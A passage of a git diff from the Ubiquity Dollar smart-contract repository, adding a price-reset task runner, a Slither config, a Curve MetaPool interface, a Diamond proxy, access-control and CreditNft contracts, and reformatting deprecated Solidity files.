virtual_price: virtual_price.toString(), + fee: fee.toString(), + balances: balances.map((balance) => balance.toString()), + totalSupply: totalSupply.toString(), + amounts: amounts.map((amount) => amount.toString()), + }); + + const burn_lp_amount = get_burn_lp_amount({ amp, virtual_price, fee, balances, totalSupply, amounts }); + + const available_lp_amount = await metaPoolContract.balanceOf(stakingAddr); + console.log({ + burn_lp_amount: burn_lp_amount.toString(), + available_lp_amount: available_lp_amount.toString(), + }); + + if (available_lp_amount.lt(burn_lp_amount)) { + throw new Error(`Not enough lp amount for burn in staking contract, needed: ${burn_lp_amount.toString()}, available: ${available_lp_amount.toString()}`); + } + + await pressAnyKey("Press any key if you are sure you want to continue ..."); + const tx = await stakingContract.uADPriceReset(burn_lp_amount); + console.log(`tx mined! hash: ${tx.hash}`); + await tx.wait(1); + console.log(`price reset tx confirmed!`); + + const new_balances = await metaPoolContract.get_balances(); + console.log({ + new_balances: new_balances.map((balance) => balance.toString()), + }); + + return "succeeded"; +}; +export default func; diff --git a/packages/contracts/scripts/task/manager.ts b/packages/contracts/scripts/task/manager.ts new file mode 100644 index 000000000..20a8b99bd --- /dev/null +++ b/packages/contracts/scripts/task/manager.ts @@ -0,0 +1,17 @@ +import { OptionDefinition } from "command-line-args"; + +import { TaskFuncCallBack } from "../shared"; + +import PriceResetHandler, { optionDefinitions, optionDefinitions as priceResetOptions } from "./dollar/price-reset"; +import BlocksInWeekHandler from "./dollar/blocks-in-week"; + +export const TASK_FUNCS: Record = { + PriceReset: { + handler: PriceResetHandler, + options: priceResetOptions, + }, + BlocksInWeek: { + handler: BlocksInWeekHandler, + options: optionDefinitions, + }, +}; diff --git a/packages/contracts/scripts/task/task.ts b/packages/contracts/scripts/task/task.ts new file mode 100644 index 000000000..ca54c1918 --- /dev/null +++ b/packages/contracts/scripts/task/task.ts @@ -0,0 +1,39 @@ +import fs from "fs"; +import path from "path"; +import { TASK_FUNCS } from "./manager"; +import { loadEnv } from "../shared"; +import CommandLineArgs from "command-line-args"; + +const main = async () => { + const cmdArgs = process.argv.slice(2); + const name = cmdArgs[0]; + if (!name) { + throw new Error("You MUST put the task name in command arguments at least"); + } + + const envPath = path.join(__dirname, "../../.env"); + if (!fs.existsSync(envPath)) { + throw new Error("Env file not found"); + } + const env = loadEnv(envPath); + + if (!TASK_FUNCS[name]) { + throw new Error(`Did you create a task for ${name} or maybe you forgot to configure it?`); + } + + const taskHandler = TASK_FUNCS[name].handler; + const commandLineParseOptions = TASK_FUNCS[name].options; + let args; + try { + args = CommandLineArgs(commandLineParseOptions); + // eslint-disable-next-line @typescript-eslint/no-explicit-any + } catch (error: any) { + console.error(`Argument parse failed!, error: ${error}`); + return; + } + + const result = await taskHandler({ env, args }); + console.log(`Task ${name} run successfully. res: ${result}`); +}; + +main(); diff --git a/packages/contracts/slither.config.json b/packages/contracts/slither.config.json new file mode 100644 index 000000000..b0a22f18a --- /dev/null +++ b/packages/contracts/slither.config.json @@ -0,0 +1,11 @@ +{ + "exclude_informational": true, + "exclude_low": true, + "detectors_to_exclude": "naming-conventions,different-pragma-directives-are-used,external-function,assembly,incorrect-equality,solc-version,unused-return,cache-array-length", + "exclude_medium": false, + "exclude_high": false, + "disable_color": false, + "filter_paths": "lib|test|src/dollar/mocks|src/deprecated", + "legacy_ast": false, + "solc_remaps": ["ds-test/=libs/ds-test/src/", "forge-std/=lib/forge-std/src/"] +} diff --git a/packages/contracts/dollar/contracts/ERC20Ubiquity.sol b/packages/contracts/src/deprecated/ERC20Ubiquity.sol similarity index 95% rename from packages/contracts/dollar/contracts/ERC20Ubiquity.sol rename to packages/contracts/src/deprecated/ERC20Ubiquity.sol index 46dcc2994..363f83de0 100644 --- a/packages/contracts/dollar/contracts/ERC20Ubiquity.sol +++ b/packages/contracts/src/deprecated/ERC20Ubiquity.sol @@ -149,11 +149,9 @@ contract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable { /// @notice burn UAD tokens from caller /// @param amount the amount to burn - function burn(uint256 amount) - public - override(ERC20Burnable, IERC20Ubiquity) - whenNotPaused - { + function burn( + uint256 amount + ) public override(ERC20Burnable, IERC20Ubiquity) whenNotPaused { super.burn(amount); emit Burning(msg.sender, amount); } @@ -161,7 +159,10 @@ contract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable { /// @notice burn uAD tokens from specified account /// @param account the account to burn from /// @param amount the amount to burn - function burnFrom(address account, uint256 amount) + function burnFrom( + address account, + uint256 amount + ) public override(ERC20Burnable, IERC20Ubiquity) onlyBurner @@ -172,12 +173,10 @@ contract ERC20Ubiquity is IERC20Ubiquity, ERC20, ERC20Burnable, ERC20Pausable { } // @dev Creates `amount` new tokens for `to`. - function mint(address to, uint256 amount) - public - override - onlyMinter - whenNotPaused - { + function mint( + address to, + uint256 amount + ) public override onlyMinter whenNotPaused { _mint(to, amount); emit Minting(to, msg.sender, amount); } diff --git a/packages/contracts/dollar/contracts/TWAPOracle.sol b/packages/contracts/src/deprecated/TWAPOracle.sol similarity index 96% rename from packages/contracts/dollar/contracts/TWAPOracle.sol rename to packages/contracts/src/deprecated/TWAPOracle.sol index c16cb86fe..32e2ce58b 100644 --- a/packages/contracts/dollar/contracts/TWAPOracle.sol +++ b/packages/contracts/src/deprecated/TWAPOracle.sol @@ -12,11 +12,7 @@ contract TWAPOracle { uint256 public pricesBlockTimestampLast; uint256[2] public priceCumulativeLast; - constructor( - address _pool, - address _uADtoken0, - address _curve3CRVtoken1 - ) { + constructor(address _pool, address _uADtoken0, address _curve3CRVtoken1) { pool = _pool; // coin at index 0 is uAD and index 1 is 3CRV require( diff --git a/packages/contracts/dollar/contracts/UbiquityAlgorithmicDollarManager.sol b/packages/contracts/src/deprecated/UbiquityAlgorithmicDollarManager.sol similarity index 83% rename from packages/contracts/dollar/contracts/UbiquityAlgorithmicDollarManager.sol rename to packages/contracts/src/deprecated/UbiquityAlgorithmicDollarManager.sol index d0d2527ed..32258faf6 100644 --- a/packages/contracts/dollar/contracts/UbiquityAlgorithmicDollarManager.sol +++ b/packages/contracts/src/deprecated/UbiquityAlgorithmicDollarManager.sol @@ -6,9 +6,9 @@ import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -import "./interfaces/IUbiquityAlgorithmicDollar.sol"; -import "./interfaces/ICurveFactory.sol"; import "./interfaces/IMetaPool.sol"; +import "./interfaces/IUbiquityAlgorithmicDollar.sol"; +import "../dollar/interfaces/ICurveFactory.sol"; import "./TWAPOracle.sol"; @@ -70,10 +70,9 @@ contract UbiquityAlgorithmicDollarManager is AccessControl { } // TODO Add a generic setter for extra addresses that needs to be linked - function setTwapOracleAddress(address _twapOracleAddress) - external - onlyAdmin - { + function setTwapOracleAddress( + address _twapOracleAddress + ) external onlyAdmin { twapOracleAddress = _twapOracleAddress; // to be removed @@ -85,55 +84,49 @@ contract UbiquityAlgorithmicDollarManager is AccessControl { autoRedeemTokenAddress = _uarTokenAddress; } - function setDebtCouponAddress(address _debtCouponAddress) - external - onlyAdmin - { + function setDebtCouponAddress( + address _debtCouponAddress + ) external onlyAdmin { debtCouponAddress = _debtCouponAddress; } - function setIncentiveToUAD(address _account, address _incentiveAddress) - external - onlyAdmin - { + function setIncentiveToUAD( + address _account, + address _incentiveAddress + ) external onlyAdmin { IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract( _account, _incentiveAddress ); } - function setDollarTokenAddress(address _dollarTokenAddress) - external - onlyAdmin - { + function setDollarTokenAddress( + address _dollarTokenAddress + ) external onlyAdmin { dollarTokenAddress = _dollarTokenAddress; } - function setGovernanceTokenAddress(address _governanceTokenAddress) - external - onlyAdmin - { + function setGovernanceTokenAddress( + address _governanceTokenAddress + ) external onlyAdmin { governanceTokenAddress = _governanceTokenAddress; } - function setSushiSwapPoolAddress(address _sushiSwapPoolAddress) - external - onlyAdmin - { + function setSushiSwapPoolAddress( + address _sushiSwapPoolAddress + ) external onlyAdmin { sushiSwapPoolAddress = _sushiSwapPoolAddress; } - function setUARCalculatorAddress(address _uarCalculatorAddress) - external - onlyAdmin - { + function setUARCalculatorAddress( + address _uarCalculatorAddress + ) external onlyAdmin { uarCalculatorAddress = _uarCalculatorAddress; } - function setCouponCalculatorAddress(address _couponCalculatorAddress) - external - onlyAdmin - { + function setCouponCalculatorAddress( + address _couponCalculatorAddress + ) external onlyAdmin { couponCalculatorAddress = _couponCalculatorAddress; } @@ -152,10 +145,9 @@ contract UbiquityAlgorithmicDollarManager is AccessControl { ] = excessCouponDistributor; } - function setMasterChefAddress(address _masterChefAddress) - external - onlyAdmin - { + function setMasterChefAddress( + address _masterChefAddress + ) external onlyAdmin { masterChefAddress = _masterChefAddress; } @@ -163,17 +155,15 @@ contract UbiquityAlgorithmicDollarManager is AccessControl { formulasAddress = _formulasAddress; } - function setBondingShareAddress(address _bondingShareAddress) - external - onlyAdmin - { + function setBondingShareAddress( + address _bondingShareAddress + ) external onlyAdmin { bondingShareAddress = _bondingShareAddress; } - function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress) - external - onlyAdmin - { + function setStableSwapMetaPoolAddress( + address _stableSwapMetaPoolAddress + ) external onlyAdmin { stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress; } @@ -183,10 +173,9 @@ contract UbiquityAlgorithmicDollarManager is AccessControl { for a certain duration to earn uGOV and more curve LP token @param _bondingContractAddress bonding contract address */ - function setBondingContractAddress(address _bondingContractAddress) - external - onlyAdmin - { + function setBondingContractAddress( + address _bondingContractAddress + ) external onlyAdmin { bondingContractAddress = _bondingContractAddress; } @@ -263,11 +252,9 @@ contract UbiquityAlgorithmicDollarManager is AccessControl { IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender); } - function getExcessDollarsDistributor(address _debtCouponManagerAddress) - external - view - returns (address) - { + function getExcessDollarsDistributor( + address _debtCouponManagerAddress + ) external view returns (address) { return _excessDollarDistributors[_debtCouponManagerAddress]; } } diff --git a/packages/contracts/dollar/contracts/UbiquityGovernance.sol b/packages/contracts/src/deprecated/UbiquityGovernance.sol similarity index 100% rename from packages/contracts/dollar/contracts/UbiquityGovernance.sol rename to packages/contracts/src/deprecated/UbiquityGovernance.sol diff --git a/packages/contracts/dollar/contracts/interfaces/IERC20Ubiquity.sol b/packages/contracts/src/deprecated/interfaces/IERC20Ubiquity.sol similarity index 100% rename from packages/contracts/dollar/contracts/interfaces/IERC20Ubiquity.sol rename to packages/contracts/src/deprecated/interfaces/IERC20Ubiquity.sol diff --git a/packages/contracts/src/deprecated/interfaces/IMetaPool.sol b/packages/contracts/src/deprecated/interfaces/IMetaPool.sol new file mode 100644 index 000000000..f1022e6e1 --- /dev/null +++ b/packages/contracts/src/deprecated/interfaces/IMetaPool.sol @@ -0,0 +1,181 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.19; + +import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol"; + +/** + * @notice Curve MetaPool interface + * + * @notice **What is Curve MetaPool** + * @notice The pool that consists of 2 tokens: stable coin and 3CRV LP token. + * For example the pool may contain Ubiquity Dollar and 3CRV LP token. + * This allows users to trade between Ubiquity Dollar and any of the tokens + * from the Curve 3Pool (DAI, USDC, USDT). When user adds liquidity to the pool + * then he is rewarded with MetaPool LP tokens. 1 Dollar3CRV LP token != 1 stable coin token. + * @notice Add liquidity example: + * 1. User sends 100 Ubiquity Dollars to the pool + * 2. User gets 100 Dollar3CRV LP tokens of the pool + * @notice Remove liquidity example: + * 1. User sends 100 Dollar3CRV LP tokens to the pool + * 2. User gets 100 Dollar/DAI/USDC/USDT (may choose any) tokens + */ +interface IMetaPool is IERC20 { + /** + * @notice Calculates the current effective TWAP balances given two + * snapshots over time, and the time elapsed between the two snapshots + * @param _first_balances First `price_cumulative_last` array that was snapshot via `get_price_cumulative_last()` + * @param _last_balances Second `price_cumulative_last` array that was snapshot via `get_price_cumulative_last()` + * @param _time_elapsed The elapsed time in seconds between `_first_balances` and `_last_balances` + * @return Returns the `balances` of the TWAP value + */ + function get_twap_balances( + uint256[2] memory _first_balances, + uint256[2] memory _last_balances, + uint256 _time_elapsed + ) external view returns (uint256[2] memory); + + /** + * @notice Returns latest cumulative prices for pool tokens + * + * @notice The price P gets multiplied to how long it lasts T. + * This is continuously added to cumulative value C. + * Example: + * 1. Timestamp 0, price 3000, C = 0 + * 2. Timestamp 200, price 3200, C = 0(previous C) + 3000 * 200 = 600000 + * 3. Timestamp 250, price 3150, C = 600000 + 3200 * 50 = 760000 + * 4. So TWAP between time (0,250) = (760000 - 0) / (250 - 0) = 3040 + * + * @return Latest cumulative prices + */ + function get_price_cumulative_last() + external + view + returns (uint256[2] memory); + + /** + * @notice Estimates the amount of LP tokens minted or burned based on a deposit or withdrawal + * + * @notice This calculation accounts for slippage, but not fees. It should be used as a basis for + * determining expected amounts when calling `add_liquidity()` or `remove_liquidity_imbalance()`, + * but should not be considered to be precise! + * + * @param _amounts Amount of each coin being deposited. Amounts correspond to the tokens at the + * same index locations within `coins()`. + * @param _is_deposit Set `True` for deposits, `False` for withdrawals + * @return The expected amount of LP tokens minted or burned + */ + function calc_token_amount( + uint256[2] memory _amounts, + bool _is_deposit + ) external view returns (uint256); + + /** + * @notice Deposits coins into to the pool and mints new LP tokens + * @param _amounts List of amounts of underlying coins to deposit. + * Amounts correspond to the tokens at the same index locations within `coins`. + * @param _min_mint_amount Minimum amount of LP tokens to mint from the deposit + * @param _receiver Optional address that receives the LP tokens. If not specified, they are sent to the caller. + * @return The amount of LP tokens that were minted in the deposit + */ + function add_liquidity( + uint256[2] memory _amounts, + uint256 _min_mint_amount, + address _receiver + ) external returns (uint256); + + /** + * @notice Calculates the price for exchanging a token with index `i` to token + * with index `j` and amount `dx` given the `_balances` provided + * @param i The index of the coin being sent to the pool, as it related to the metapool + * @param j The index of the coin being received from the pool, as it relates to the metapool + * @param dx The amount of `i` being sent to the pool + * @return Returns the quote / price as `dy` given `dx` + */ + function get_dy( + int128 i, + int128 j, + uint256 dx + ) external view returns (uint256); + + /** + * @notice Calculates the price for exchanging a token with index `i` to token + * with index `j` and amount `dx` given the `_balances` provided + * @param i The index of the coin being sent to the pool, as it related to the metapool + * @param j The index of the coin being received from the pool, as it relates to the metapool + * @param dx The amount of `i` being sent to the pool + * @param _balances The array of balances to be used for purposes of calculating the output + * amount / exchange rate, this is the value returned in `get_twap_balances()` + * @return Returns the quote / price as `dy` given `dx` + */ + function get_dy( + int128 i, + int128 j, + uint256 dx, + uint256[2] memory _balances + ) external view returns (uint256); + + /** + * @notice Gets the amount received (“dy”) when swapping between two underlying assets within the pool + * @notice Index values can be found using `get_underlying_coins()` within the factory contract + * @param i Index value of the token to send + * @param j Index value of the token to receive + * @param dx The amount of `i` being exchanged + * @return Returns the amount of `j` received + */ + function get_dy_underlying( + int128 i, + int128 j, + uint256 dx + ) external view returns (uint256); + + /** + * @notice Performs an exchange between two tokens. Index values can be found + * using the `coins()` public getter method, or `get_coins()` within the factory contract. + * @param i Index value of the token to send + * @param j Index value of the token to receive + * @param dx The amount of `i` being exchanged + * @param min_dy The minimum amount of `j` to receive. If the swap would result in less, the transaction will revert. + * @return The amount of `j` received in the exchange + */ + function exchange( + int128 i, + int128 j, + uint256 dx, + uint256 min_dy + ) external returns (uint256); + + /** + * @notice Withdraws a single asset from the pool + * @param _burn_amount Amount of LP tokens to burn in the withdrawal + * @param i Index value of the coin to withdraw. Can be found using the `coins()` getter method. + * @param _min_received Minimum amount of the coin to receive + * @return The amount of the coin received in the withdrawal + */ + function remove_liquidity_one_coin( + uint256 _burn_amount, + int128 i, + uint256 _min_received + ) external returns (uint256); + + /** + * @notice Returns token address by the provided `arg0` index + * @param arg0 Token index + * @return Token address + */ + function coins(uint256 arg0) external view returns (address); + + /** + * @notice Returns token balances by `arg0` index + * @param arg0 Token index + * @return Token balance + */ + function balances(uint256 arg0) external view returns (uint256); + + function fee() external view returns (uint256); + + /** + * @notice Returns the latest timestamp when TWAP cumulative prices were updated + * @return Latest update timestamp + */ + function block_timestamp_last() external view returns (uint256); +} diff --git a/packages/contracts/dollar/contracts/interfaces/IUbiquityAlgorithmicDollar.sol b/packages/contracts/src/deprecated/interfaces/IUbiquityAlgorithmicDollar.sol similarity index 100% rename from packages/contracts/dollar/contracts/interfaces/IUbiquityAlgorithmicDollar.sol rename to packages/contracts/src/deprecated/interfaces/IUbiquityAlgorithmicDollar.sol diff --git a/packages/contracts/src/dollar/Diamond.sol b/packages/contracts/src/dollar/Diamond.sol new file mode 100644 index 000000000..cbb606084 --- /dev/null +++ b/packages/contracts/src/dollar/Diamond.sol @@ -0,0 +1,68 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {LibDiamond} from "./libraries/LibDiamond.sol"; +import {IDiamondCut} from "./interfaces/IDiamondCut.sol"; +import {IDiamondLoupe} from "./interfaces/IDiamondLoupe.sol"; +import "@openzeppelin/contracts/interfaces/IERC165.sol"; +import {IERC173} from "./interfaces/IERC173.sol"; +import {DiamondCutFacet} from "./facets/DiamondCutFacet.sol"; +import {DiamondLoupeFacet} from "./facets/DiamondLoupeFacet.sol"; +import {OwnershipFacet} from "./facets/OwnershipFacet.sol"; + +/// @notice Struct used for `Diamond` constructor args +struct DiamondArgs { + address owner; + address init; + bytes initCalldata; +} + +/** + * @notice Contract that implements diamond proxy pattern + * @dev Main protocol's entrypoint + */ +contract Diamond { + /** + * @notice Diamond constructor + * @param _args Init args + * @param _diamondCutFacets Facets with selectors to add + */ + constructor( + DiamondArgs memory _args, + IDiamondCut.FacetCut[] memory _diamondCutFacets + ) { + LibDiamond.setContractOwner(_args.owner); + LibDiamond.diamondCut( + _diamondCutFacets, + _args.init, + _args.initCalldata + ); + } + + /** + * @notice Finds facet for function that is called and executes the + * function if a facet is found and returns any value + */ + fallback() external payable { + LibDiamond.DiamondStorage storage ds; + bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION; + assembly { + ds.slot := position + } + address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress; + require(msg.data.length >= 4, "Diamond: Selector is too short"); + require(facet != address(0), "Diamond: Function does not exist"); + assembly { + calldatacopy(0, 0, calldatasize()) + let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0) + returndatacopy(0, 0, returndatasize()) + switch result + case 0 { + revert(0, returndatasize()) + } + default { + return(0, returndatasize()) + } + } + } +} diff --git a/packages/contracts/src/dollar/access/AccessControlInternal.sol b/packages/contracts/src/dollar/access/AccessControlInternal.sol new file mode 100644 index 000000000..2f8dd1e81 --- /dev/null +++ b/packages/contracts/src/dollar/access/AccessControlInternal.sol @@ -0,0 +1,129 @@ +// SPDX-License-Identifier: MIT + +pragma solidity 0.8.19; + +import {EnumerableSet} from "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; +import {AddressUtils} from "../libraries/AddressUtils.sol"; +import {UintUtils} from "../libraries/UintUtils.sol"; +import {LibAccessControl} from "../libraries/LibAccessControl.sol"; + +/** + * @notice Role-based access control system + * @dev Derived from https://github.com/OpenZeppelin/openzeppelin-contracts (MIT license) + * @dev https://github.com/solidstate-network/solidstate-solidity/blob/master/contracts/access/access_control/AccessControlInternal.sol + */ +abstract contract AccessControlInternal { + using AddressUtils for address; + using EnumerableSet for EnumerableSet.AddressSet; + using UintUtils for uint256; + + /** + * @notice Checks that a method can only be called by the provided role + * @param role Role name + */ + modifier onlyRole(bytes32 role) { + _checkRole(role); + _; + } + + /** + * @notice Checks whether role is assigned to account + * @param role Role to check + * @param account Account address to check + * @return Whether role is assigned to account + */ + function _hasRole( + bytes32 role, + address account + ) internal view virtual returns (bool) { + return + LibAccessControl + .accessControlStorage() + .roles[role] + .members + .contains(account); + } + + /** + * @notice Reverts if sender does not have a given role + * @param role Role to query + */ + function _checkRole(bytes32 role) internal view virtual { + _checkRole(role, msg.sender); + } + + /** + * @notice Reverts if given account does not have a given role + * @param role Role to query + * @param account Address to query + */ + function _checkRole(bytes32 role, address account) internal view virtual { + if (!_hasRole(role, account)) { + revert( + string( + abi.encodePacked( + "AccessControl: account ", + account.toString(), + " is missing role ", + uint256(role).toHexString(32) + ) + ) + ); + } + } + + /** + * @notice Returns admin role for a given role + * @param role Role to query + * @return Admin role for the provided role + */ + function _getRoleAdmin( + bytes32 role + ) internal view virtual returns (bytes32) { + return LibAccessControl.accessControlStorage().roles[role].adminRole; + } + + /** + * @notice Set admin role for a given role + * @param role Role to set + * @param adminRole role for the provided role + */ + function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { + LibAccessControl + .accessControlStorage() + .roles[role] + .adminRole = adminRole; + } + + /** + * @notice Assigns role to a given account + * @param role Role to assign + * @param account Recipient of role assignment + */ + function _grantRole(bytes32 role, address account) internal virtual { + LibAccessControl.accessControlStorage().roles[role].members.add( + account + ); + emit LibAccessControl.RoleGranted(role, account, msg.sender); + } + + /** + * @notice Unassigns role from given account + * @param role Role to unassign + * @param account Account to revoke a role from + */ + function _revokeRole(bytes32 role, address account) internal virtual { + LibAccessControl.accessControlStorage().roles[role].members.remove( + account + ); + emit LibAccessControl.RoleRevoked(role, account, msg.sender); + } + + /** + * @notice Renounces role + * @param role Role to renounce + */ + function _renounceRole(bytes32 role) internal virtual { + _revokeRole(role, msg.sender); + } +} diff --git a/packages/contracts/src/dollar/core/CreditNft.sol b/packages/contracts/src/dollar/core/CreditNft.sol new file mode 100644 index 000000000..729c77e2f --- /dev/null +++ b/packages/contracts/src/dollar/core/CreditNft.sol @@ -0,0 +1,173 @@ +// SPDX-License-Identifier: MIT +pragma solidity 0.8.19; + +import {ERC1155Ubiquity} from "./ERC1155Ubiquity.sol"; +import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; +import {ERC1155Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol"; +import {ICreditNft} from "../../dollar/interfaces/ICreditNft.sol"; +import "solidity-linked-list/contracts/StructuredLinkedList.sol"; +import "../libraries/Constants.sol"; + +/** + * @notice CreditNft redeemable for Dollars with an expiry block number + * @notice ERC1155 where the token ID is the expiry block number + * @dev Implements ERC1155 so receiving contracts must implement `IERC1155Receiver` + * @dev 1 Credit NFT = 1 whole Ubiquity Dollar, not 1 wei + */ +contract CreditNft is ERC1155Ubiquity, ICreditNft { + using StructuredLinkedList for StructuredLinkedList.List; + + /** + * @notice Total amount of CreditNfts minted + * @dev Not public as if called externally can give inaccurate value, see method + */ + uint256 private _totalOutstandingDebt; + + /// @notice Mapping of block number and amount of CreditNfts to expire on that block number + mapping(uint256 => uint256) private _tokenSupplies; + + /// @notice Ordered list of CreditNft expiries + StructuredLinkedList.List private _sortedBlockNumbers; + + /// @notice Emitted on CreditNfts mint + event MintedCreditNft( + address recipient, + uint256 expiryBlock, + uint256 amount + ); + + /// @notice Emitted on CreditNfts burn + event BurnedCreditNft( + address creditNftHolder, + uint256 expiryBlock, + uint256 amount + ); + + /// @notice Modifier checks that the method is called by a user with the "CreditNft manager" role + modifier onlyCreditNftManager() { + require( + accessControl.hasRole(CREDIT_NFT_MANAGER_ROLE, _msgSender()), + "Caller is not a CreditNft manager" + ); + _; + } + + /// @notice Ensures initialize cannot be called on the implementation contract + constructor() { + _disableInitializers(); + } + + /// @notice Initializes the contract + /// @param _manager Address of the manager of the contract + function initialize(address _manager) public initializer { + __ERC1155Ubiquity_init(_manager, "URI"); + _totalOutstandingDebt = 0; + } + + /** + * @notice Mint an `amount` of CreditNfts expiring at `expiryBlockNumber` for a certain `recipient` + * @param recipient Address where to mint tokens + * @param amount Amount of tokens to mint + * @param expiryBlockNumber Expiration block number of the CreditNfts to mint + */ + function mintCreditNft( + address recipient, + uint256 amount, + uint256 expiryBlockNumber + ) public onlyCreditNftManager { + mint(recipient, expiryBlockNumber, amount, ""); + emit MintedCreditNft(recipient, expiryBlockNumber, amount); + + //insert new relevant block number if it doesn't exist in our list + // (linked list implementation won't insert if dupe) + require(_sortedBlockNumbers.pushBack(expiryBlockNumber)); + + //update the total supply for that expiry and total outstanding debt + _tokenSupplies[expiryBlockNumber] = + _tokenSupplies[expiryBlockNumber] + + (amount); + _totalOutstandingDebt = _totalOutstandingDebt + (amount); + } + + /** + * @notice Burns an `amount` of CreditNfts expiring at `expiryBlockNumber` from `creditNftOwner` balance + * @param creditNftOwner Owner of those CreditNfts + * @param amount Amount of tokens to burn + * @param expiryBlockNumber Expiration block number of the CreditNfts to burn + */ + function burnCreditNft( + address creditNftOwner, + uint256 amount, + uint256 expiryBlockNumber + ) public onlyCreditNftManager { + require( + balanceOf(creditNftOwner, expiryBlockNumber) >= amount, + "CreditNft owner not enough CreditNfts" + ); + burn(creditNftOwner, expiryBlockNumber, amount); + emit BurnedCreditNft(creditNftOwner, expiryBlockNumber, amount); + + //update the total supply for that expiry and total outstanding debt + _tokenSupplies[expiryBlockNumber] = + _tokenSupplies[expiryBlockNumber] - + (amount); + _totalOutstandingDebt = _totalOutstandingDebt - (amount); + } + + /** + * @notice Updates debt according to current block number + * @notice Invalidates expired CreditNfts + * @dev Should be called prior to any state changing functions + */ + function updateTotalDebt() public { + bool reachedEndOfExpiredKeys = false; + uint256 currentBlockNumber = _sortedBlockNumbers.popFront(); + uint256 outstandingDebt = _totalOutstandingDebt; + //if list is empty, currentBlockNumber will be 0 + while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) { + if (currentBlockNumber > block.number) { + //put the key back in since we popped, and end loop + require(_sortedBlockNumbers.pushFront(currentBlockNumber)); + reachedEndOfExpiredKeys = true; + } else { + //update tally and remove key from blocks and map + outstandingDebt = + outstandingDebt - + (_tokenSupplies[currentBlockNumber]); + // slither-disable-next-line costly-loop + delete _tokenSupplies[currentBlockNumber]; + _sortedBlockNumbers.remove(currentBlockNumber); + } + currentBlockNumber = _sortedBlockNumbers.popFront(); + } + _totalOutstandingDebt = outstandingDebt; + } + + /// @notice Returns outstanding debt by fetching current tally and removing any expired debt + function getTotalOutstandingDebt() public view returns (uint256) { + uint256 outstandingDebt = _totalOutstandingDebt; + bool reachedEndOfExpiredKeys = false; + (, uint256 currentBlockNumber) = _sortedBlockNumbers.getNextNode(0); + + while (!reachedEndOfExpiredKeys && currentBlockNumber != 0) { + if (currentBlockNumber > block.number) { + reachedEndOfExpiredKeys = true; + } else { + outstandingDebt = + outstandingDebt - + (_tokenSupplies[currentBlockNumber]); + } + (, currentBlockNumber) = _sortedBlockNumbers.getNextNode( + currentBlockNumber + ); + } + + return outstandingDebt; + } + + /// @notice Allows an admin to upgrade to another implementation contract + /// @param newImplementation Address of the new implementation contract + function _authorizeUpgrade( + address newImplementation + ) internal override(ERC1155Ubiquity) onlyAdmin {} +} diff --git a/packages/contracts/src/dollar/core/ERC1155Ubiquity.sol b/packages/contracts/src/dollar/core/ERC1155Ubiquity.sol new file mode 100644 index 000000000..6c211deb5 --- /dev/null +++ b/packages/contracts/src/dollar/core/ERC1155Ubiquity.sol @@ -0,0 +1,316 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.19; + +import {ERC1155Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC1155/ERC1155Upgradeable.sol"; +import {ERC1155BurnableUpgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/ERC1155BurnableUpgradeable.sol"; +import {ERC1155PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC1155/extensions/ERC1155PausableUpgradeable.sol"; +import {UUPSUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol"; +import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; +import "../interfaces/IAccessControl.sol"; +import "../libraries/Constants.sol"; + +import "../../../src/dollar/utils/SafeAddArray.sol"; + +/** + * @notice ERC1155 Ubiquity preset + * @notice ERC1155 with: + * - ERC1155 minter, burner and pauser + * - TotalSupply per id + * - Ubiquity Manager access control + */ +abstract contract ERC1155Ubiquity is + Initializable, + ERC1155BurnableUpgradeable, + ERC1155PausableUpgradeable, + UUPSUpgradeable +{ + using SafeAddArray for uint256[]; + + /// @notice Access control interface + IAccessControl public accessControl; + + /// @notice Mapping from account to array of token ids held by the account + mapping(address => uint256[]) public holderBalances; + + /// @notice Total supply among all token ids + uint256 public totalSupply; + + // ----------- Modifiers ----------- + + /// @notice Modifier checks that the method is called by a user with the "Governance minter" role + modifier onlyMinter() virtual { + require( + accessControl.hasRole(GOVERNANCE_TOKEN_MINTER_ROLE, _msgSender()), + "ERC1155Ubiquity: not minter" + ); + _; + } + + /// @notice Modifier checks that the method is called by a user with the "Governance burner" role + modifier onlyBurner() virtual { + require( + accessControl.hasRole(GOVERNANCE_TOKEN_BURNER_ROLE, _msgSender()), + "ERC1155Ubiquity: not burner" + ); + _; + } + + /// @notice Modifier checks that the method is called by a user with the "Pauser" role + modifier onlyPauser() virtual { + require( + accessControl.hasRole(PAUSER_ROLE, _msgSender()), + "ERC1155Ubiquity: not pauser" + ); + _; + } + + /// @notice Modifier checks that the method is called by a user with the "Admin" role + modifier onlyAdmin() { + require( + accessControl.hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), + "ERC20Ubiquity: not admin" + ); + _; + } + + /// @notice Ensures __ERC1155Ubiquity_init cannot be called on the implementation contract + constructor() { + _disableInitializers(); + } + + /// @notice Initializes this contract with all base(parent) contracts + /// @param _manager Address of the manager of the contract + /// @param _uri Base URI + function __ERC1155Ubiquity_init( + address _manager, + string memory _uri + ) internal onlyInitializing { + // init base contracts + 